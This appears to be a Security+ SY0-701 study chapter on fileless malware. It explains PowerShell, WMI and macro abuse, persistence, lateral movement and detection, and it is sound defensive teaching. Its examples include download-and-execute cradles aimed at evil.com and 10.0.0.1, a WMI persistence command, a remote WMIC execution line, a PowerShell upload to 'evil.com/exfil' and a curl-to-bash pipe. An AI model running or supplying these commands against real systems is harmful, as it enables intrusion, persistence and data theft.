This chapter covers fileless malware attacks, a sophisticated threat that operates without writing traditional executable files to disk. Fileless malware is a critical topic for the SY0-701 exam under Objective 2.4 (Threats, Vulnerabilities, and Mitigations). Understanding fileless attack vectors—such as PowerShell abuse, WMI persistence, and macro-based exploits—is essential for identifying and defending against these stealthy intrusions. We will explore how attackers leverage legitimate system tools, the techniques they use to evade detection, and the best practices for mitigation.
Jump to a section
Imagine a bank vault with a sophisticated security system that guards against physical break-ins. A traditional malware attack is like a burglar picking the lock or cutting through the bars—obvious and detectable. A fileless malware attack is like a ghost that possesses the bank manager. The ghost doesn't break in; it manipulates the manager to open the vault from the inside using his own keys and authority. The ghost uses the manager's own tools—his keycard, his knowledge of the alarm code, his trust—to access the vault without any forced entry. The bank's security cameras see the manager acting normally; the logs show his credentials being used legitimately. The ghost never leaves a physical trace. Similarly, fileless malware uses legitimate system tools (like PowerShell, WMI, or macros) to execute malicious code entirely in memory, never writing a file to disk. It lives off the land, leveraging the system's own processes and trusted applications to carry out its objectives. The ghost analogy captures the essence: the attacker operates within the trusted environment, using trusted tools, leaving minimal forensic evidence. The only way to catch the ghost is to monitor behavior—not just look for physical break-in signs. In cybersecurity, this means focusing on anomalous process behavior, script execution patterns, and memory analysis rather than traditional file-based signatures.
What Is Fileless Malware?
Fileless malware is a type of malicious activity that uses legitimate system tools and processes to execute code without dropping a traditional executable file onto the hard drive. Instead, it resides in memory (RAM) or leverages scripts, macros, or registry entries that are executed by trusted applications. The term 'fileless' is somewhat misleading because some variants may write small files (e.g., PowerShell scripts, VBScripts) or store payloads in the registry, but the key distinction is the absence of a standalone .exe file that would be detected by signature-based antivirus. The SY0-701 exam emphasizes that fileless malware is a form of 'living off the land' (LotL) attack.
How Fileless Malware Works Mechanically
Fileless malware typically follows this process: 1. Initial Access: The attacker gains initial access through a vector such as a malicious email attachment (e.g., a Word document with an embedded macro), a drive-by download exploiting a browser vulnerability, or a compromised website. The initial payload is often a small script or a dropper that executes in memory. 2. Execution via Trusted Tools: The payload uses PowerShell, Windows Management Instrumentation (WMI), or Windows Script Host (cscript/wscript) to execute code. For example, a macro in a Word document may run PowerShell commands that download and execute a second-stage payload directly in memory without touching the disk. 3. Persistence: To survive reboots, fileless malware often establishes persistence through registry run keys, scheduled tasks, WMI event subscriptions, or startup folder entries. These methods do not require executable files; they point to script interpreters or command lines. 4. Lateral Movement and Data Exfiltration: The malware uses built-in Windows tools like PsExec, WMI, or WinRM to move laterally. Data exfiltration may occur over HTTP/HTTPS using PowerShell or .NET classes.
Key Components and Variants
PowerShell: The most common vehicle for fileless attacks. Attackers use PowerShell to download and execute payloads, enumerate systems, and perform reconnaissance. Example command: powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
WMI: Used for persistence (WMI event subscriptions) and execution. Attackers can create a WMI filter and consumer that runs a script when a system event occurs.
Macros: Embedded in Office documents, macros can execute PowerShell or cmd commands. They are often obfuscated to evade detection.
HTML Application (HTA): HTA files are executed by mshta.exe, which can run VBScript or JavaScript in memory.
Registry Resident: Malware stores code in registry values (e.g., under HKCU\Software\Microsoft\Windows\CurrentVersion\Run) that are executed by legitimate processes like explorer.exe.
Memory-Only Payloads: Exploits like EternalBlue (MS17-010) deliver shellcode directly into memory via a buffer overflow, with no file written.
How Attackers Exploit These Techniques
Attackers exploit fileless techniques to bypass traditional antivirus and endpoint detection that relies on file signatures. Since the code runs within trusted processes (powershell.exe, wmiprvse.exe, etc.), it appears legitimate. They also use obfuscation and encoding (Base64, XOR) to hide commands. For example, a PowerShell command can be encoded: powershell -enc <Base64 string>. The exam may test recognition of such commands.
Real Command/Tool Examples
Common fileless attack commands seen in the wild:
PowerShell download cradle:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.0.0.1/a'))"WMI persistence creation:
wmic /NAMESPACE:\\.\ROOT\subscription PATH __EventFilter CREATE Name='UpdateFilter', EventNameSpace='root\cimv2', QueryLanguage='WQL', Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"Macro execution in VBA:
Shell "powershell -exec bypass -c ..."Mitigation Strategies
Application Control: Use AppLocker or Windows Defender Application Control (WDAC) to block unauthorized script interpreters or restrict PowerShell execution policy.
PowerShell Logging: Enable PowerShell script block logging, module logging, and transcription. Logs can reveal malicious commands.
AMSI (Anti-Malware Scan Interface): AMSI allows antimalware products to scan script content before execution. It can detect obfuscated PowerShell commands.
Endpoint Detection and Response (EDR): EDR tools monitor process behavior, including child process creation, network connections, and memory anomalies.
Disable Macros: Block macros from running unless digitally signed or from trusted locations.
Least Privilege: Restrict administrative rights to reduce the impact of fileless attacks.
Network Segmentation: Limit lateral movement capabilities.
Initial Compromise via Phishing
The attacker sends a spear-phishing email with a malicious Word document attached. The document contains an obfuscated VBA macro that, when enabled, executes a PowerShell command. The user opens the document and enables macros (often tricked by social engineering). The macro runs silently, calling PowerShell with a hidden window. The PowerShell command downloads a second-stage payload from a remote server using `IEX (New-Object Net.WebClient).DownloadString()`. This payload is a PowerShell script that performs reconnaissance and establishes a reverse shell. The entire execution happens in memory; no file is written to disk except the original document. Logs: Email gateway logs show the attachment; Windows Event Logs may show Event ID 4104 (PowerShell script block logging) if enabled; network logs show an outbound HTTP connection to the malicious IP.
Payload Execution in Memory
The downloaded PowerShell script runs entirely in memory. It may decode additional layers (e.g., Base64 strings) and inject shellcode into a running process like explorer.exe or svchost.exe using Windows API calls (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread). This technique is known as process hollowing or reflective DLL injection. No executable file is created. The attacker now has code execution within the context of a legitimate process. Logs: PowerShell script block logging captures the script content; Sysmon Event ID 8 (CreateRemoteThread) or Event ID 10 (ProcessAccess) may indicate injection; memory forensics would reveal anomalous code in the target process.
Persistence via Registry or WMI
To maintain access after reboot, the malware establishes persistence without writing a .exe file. It may add a registry run key that points to a PowerShell command: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater` with value `powershell -enc <Base64 encoded script>`. Alternatively, it creates a WMI event subscription that triggers a script on system startup. The attacker uses wmic or PowerShell to create an __EventFilter and __FilterToConsumerBinding. This ensures that every time the system boots, the script runs silently. Logs: Registry auditing (Event ID 4657) shows the new run key; WMI activity logs (Event ID 5861) show new event filter and consumer creation.
Lateral Movement Using WMI
The attacker uses WMI to move laterally to other machines on the network. From the compromised host, they run a command like `wmic /node:targetPC process call create "powershell -enc <payload>"` to execute a fileless payload on a remote machine. This uses the WMIC tool and does not require file writes on the remote system. The payload runs in memory on the target. The attacker may also use PsExec with a PowerShell command. Logs: Windows Event Logs on the target show Event ID 4688 (process creation) for powershell.exe; network logs show DCOM/RPC traffic (port 135) and SMB (port 445). EDR tools may detect anomalous WMI activity.
Data Exfiltration Over HTTPS
The attacker collects sensitive data (e.g., credentials, documents) and exfiltrates it using PowerShell's .NET classes. They create a web request to a command-and-control (C2) server over HTTPS. Example: `$wc = New-Object System.Net.WebClient; $wc.UploadString('https://evil.com/exfil', $data)`. The traffic is encrypted, making it difficult to inspect. The data is sent in memory without writing a file. Logs: Proxy logs show HTTPS connections to suspicious domains; DNS logs may show queries to algorithmically generated domains (DGA); EDR may detect PowerShell making outbound connections to unusual IPs. Memory forensics may capture the exfiltrated data in the PowerShell process memory.
Scenario 1: SOC Analyst Detects PowerShell Anomaly
A SOC analyst monitors a dashboard showing an alert from Windows Event Logs: multiple Event ID 4104 (PowerShell script block logging) events from a single workstation. The script block contains a Base64-encoded string and an invocation of IEX. The analyst investigates: the user received a phishing email with a macro-enabled document. The analyst isolates the workstation, checks for persistence (registry run keys, WMI subscriptions), and finds a suspicious run key pointing to a PowerShell command. The analyst uses AMSI to scan the encoded command and identifies it as a Cobalt Strike beacon. The correct response: block the C2 domain at the firewall, remove the registry key, and conduct a full memory scan. Common mistake: The analyst ignores the alert because PowerShell is a legitimate tool, assuming it's a false positive. The key is to correlate script block logging with user activity and network connections.
Scenario 2: Incident Responder Investigates Lateral Movement
An incident responder is called after an EDR alerts on WMI process creation events across multiple servers. The logs show wmic /node:server2 process call create "powershell ..." from a compromised domain controller. The responder uses network forensics to trace the source: an endpoint that had a fileless infection. The responder examines memory on the affected servers using Volatility and finds injected code in svchost.exe. The responder removes the WMI persistence by deleting the __EventFilter and __FilterToConsumerBinding objects. The mistake: The responder only kills the PowerShell process, but the WMI subscription re-executes the payload on reboot. The correct response: enumerate and remove WMI persistence, then apply a GPO to restrict WMI usage to authorized administrators.
Scenario 3: Threat Hunter Proactively Searches for Fileless Activity
A threat hunter queries the SIEM for all PowerShell executions with -enc or -e parameters over the past week. They find a workstation where PowerShell ran with -enc and connected to an IP address in a known malicious range. The hunter reviews the decoded command: it downloads a script from a pastebin-like site. The hunter checks for fileless persistence and finds a WMI event subscription that runs a PowerShell command every hour. The hunter creates a YARA rule to detect similar patterns across the enterprise. The mistake: The hunter only blocks the IP but does not remove the persistence, leading to reinfection. The correct response: remove the WMI subscription, scan memory for other indicators, and update endpoint detection rules.
SY0-701 Exam Focus on Fileless Malware The exam tests your understanding of how fileless malware operates, common vectors, and mitigation techniques. Key sub-objectives under 2.4 include: identifying attack types (e.g., fileless, PowerShell, macro), understanding the role of trusted system tools, and selecting appropriate mitigations (e.g., application control, AMSI).
Common Wrong Answers and Why 1. 'Fileless malware always leaves no trace.' While it minimizes forensic artifacts, it does leave traces in memory, logs, and registry. Candidates choose this because they think 'fileless' means 'no evidence.' The reality is that memory forensics and logging can detect it. 2. 'Antivirus software is sufficient to detect fileless malware.' Traditional AV relies on file signatures and fails against memory-only threats. Candidates overestimate AV capabilities. The correct answer is that behavior-based detection (EDR) or AMSI is needed. 3. 'Fileless malware only affects Windows systems.' While most fileless attacks target Windows due to PowerShell and WMI, other OSes can be affected (e.g., Unix shell scripts, Python). Candidates forget that the concept applies broadly. 4. 'Disabling PowerShell prevents fileless attacks.' Attackers can use other tools like WMI, cscript, or mshta. Candidates think PowerShell is the only vector. The correct mitigation is to restrict execution policy and log usage, not disable entirely.
Key Terms and Acronyms - AMSI (Anti-Malware Scan Interface) - LotL (Living off the Land) - WMI (Windows Management Instrumentation) - PowerShell, VBScript, HTA (HTML Application) - Process Hollowing, Reflective DLL Injection - Event ID 4104 (PowerShell Script Block Logging) - Sysmon Event IDs 1, 8, 10
Trick Questions - 'Which of the following is NOT a fileless attack vector?' Options: PowerShell, macro, USB drop. Answer: USB drop (it involves a physical file). - 'What is the best defense against fileless malware?' Options: Signature-based antivirus, application whitelisting, firewall. Answer: Application whitelisting (e.g., AppLocker) because it blocks unauthorized script interpreters.
Decision Rule When answering scenario questions about fileless malware: Look for clues like 'no executable file,' 'uses PowerShell,' 'runs in memory,' 'registry persistence without .exe.' If the question asks for mitigation, eliminate any option that relies solely on file scanning. Choose options that involve behavior monitoring, script control, or memory analysis.
Fileless malware executes code in memory using legitimate system tools like PowerShell, WMI, and macros.
It often uses 'living off the land' (LotL) techniques to evade detection.
Common initial access vectors include phishing with macro-enabled documents and drive-by downloads.
Persistence is achieved via registry run keys, scheduled tasks, or WMI event subscriptions without writing executable files.
AMSI (Anti-Malware Scan Interface) is a key mitigation that allows scanning of script content before execution.
PowerShell script block logging (Event ID 4104) and Sysmon are critical for detection.
Application whitelisting (e.g., AppLocker) can block unauthorized script interpreters.
Fileless malware is not limited to Windows; Unix/Linux systems can be targeted using shell scripts or Python.
Memory forensics tools like Volatility can detect injected code and anomalous processes.
The SY0-701 exam expects you to identify fileless attack vectors and recommend behavior-based defenses.
These come up on the exam all the time. Here's how to tell them apart.
Fileless Malware
Executes in memory without writing an .exe file
Uses legitimate system tools (PowerShell, WMI)
Evades signature-based antivirus
Leaves minimal forensic evidence on disk
Requires behavior-based detection (AMSI, EDR)
Traditional Malware (File-based)
Writes executable files to disk
Often uses custom executables or DLLs
Detected by signature-based antivirus
Leaves files that can be analyzed
Can be blocked by file reputation and hash blocking
Mistake
Fileless malware cannot be detected because it leaves no traces.
Correct
Fileless malware leaves traces in memory, logs (PowerShell script block logging, WMI activity), and registry. Memory forensics and EDR can detect it.
Mistake
Fileless malware only uses PowerShell.
Correct
Fileless malware can use WMI, macros, HTA, JavaScript, VBScript, and even legitimate tools like mshta, cscript, or regsvr32.
Mistake
Running antivirus with real-time protection will block fileless malware.
Correct
Traditional signature-based AV is ineffective because fileless malware does not write files. Behavior-based detection (AMSI, EDR) is required.
Mistake
Fileless malware cannot achieve persistence.
Correct
Fileless malware can persist via registry run keys, scheduled tasks, WMI event subscriptions, or startup folders without writing a .exe file.
Mistake
Fileless malware is a new phenomenon.
Correct
Fileless techniques have existed for over a decade (e.g., Code Red worm in 2001 used memory-only exploits). They have become more common due to improved detection of file-based malware.
Fileless malware is a type of attack that uses legitimate system tools to execute malicious code without writing a traditional executable file to disk. It works by leveraging tools like PowerShell, WMI, or macros to run scripts directly in memory. For example, a phishing email might contain a Word document with a macro that launches PowerShell to download and execute a payload in memory. The key is that no .exe file is created, making it hard for signature-based antivirus to detect. Exam tip: Remember that fileless malware is also called 'living off the land' (LotL) because it uses built-in tools.
Detection relies on monitoring behavior and logging. Enable PowerShell script block logging (Event ID 4104) to capture all PowerShell commands. Use AMSI to scan script content before execution. Deploy EDR tools that detect anomalous process behavior, such as PowerShell making outbound connections or injecting code into other processes. Sysmon can log process creation (Event ID 1) and network connections. Memory forensics tools like Volatility can identify injected code. Exam tip: Look for detection methods that focus on behavior, not file signatures.
Defenses include: (1) Application whitelisting (AppLocker) to restrict which scripts and executables can run. (2) Enable PowerShell logging and AMSI. (3) Disable macros in Office documents or only allow signed macros. (4) Use endpoint detection and response (EDR) for behavior monitoring. (5) Implement least privilege to limit the impact of compromised accounts. (6) Network segmentation to prevent lateral movement. Exam tip: The exam often asks for the 'best' defense; application whitelisting is a strong answer because it prevents unauthorized script execution.
Traditional malware writes executable files (.exe, .dll) to disk, which can be detected by signature-based antivirus. Fileless malware does not write files; it executes code in memory using legitimate tools like PowerShell or WMI. Fileless malware is stealthier because it avoids file scanning and leaves less forensic evidence. However, it can still be detected through memory analysis and behavior monitoring. Exam tip: If a question describes an attack that uses PowerShell or macros without dropping a file, it's fileless.
Yes, fileless techniques are not exclusive to Windows. On Linux, attackers can use shell scripts, Python, or Perl executed from memory. For example, a malicious shell script can be piped directly into bash: `curl http://evil.com/script.sh | bash`. On macOS, attackers can use bash, Python, or AppleScript. However, the SY0-701 exam focuses primarily on Windows because it's the most targeted platform. Exam tip: Remember that the concept of 'fileless' applies to any OS that allows script execution from memory.
AMSI (Anti-Malware Scan Interface) is a Windows feature that allows applications and antimalware products to scan script content before it is executed. When PowerShell, VBScript, or other script hosts run code, they can pass the script to AMSI for inspection. If the script is malicious, AMSI can block execution. AMSI is effective against obfuscated PowerShell commands because it can deobfuscate and scan the actual payload. Exam tip: AMSI is a key mitigation for fileless malware; remember that it works with PowerShell, VBScript, and JavaScript.
Common persistence mechanisms include: (1) Registry run keys that point to a PowerShell command (e.g., HKCU\...\Run\Updater). (2) Scheduled tasks that run a script at logon. (3) WMI event subscriptions that trigger a script on system events. (4) Startup folder entries that launch a script. These methods do not require executable files; they use script interpreters. Exam tip: When you see persistence without a .exe file, think fileless. WMI persistence is particularly stealthy because it doesn't appear in typical autoruns.
You've just covered Fileless Malware Attacks — now see how well it sticks with free SY0-701 practice questions. Full explanations included, no account needed.
Done with this chapter?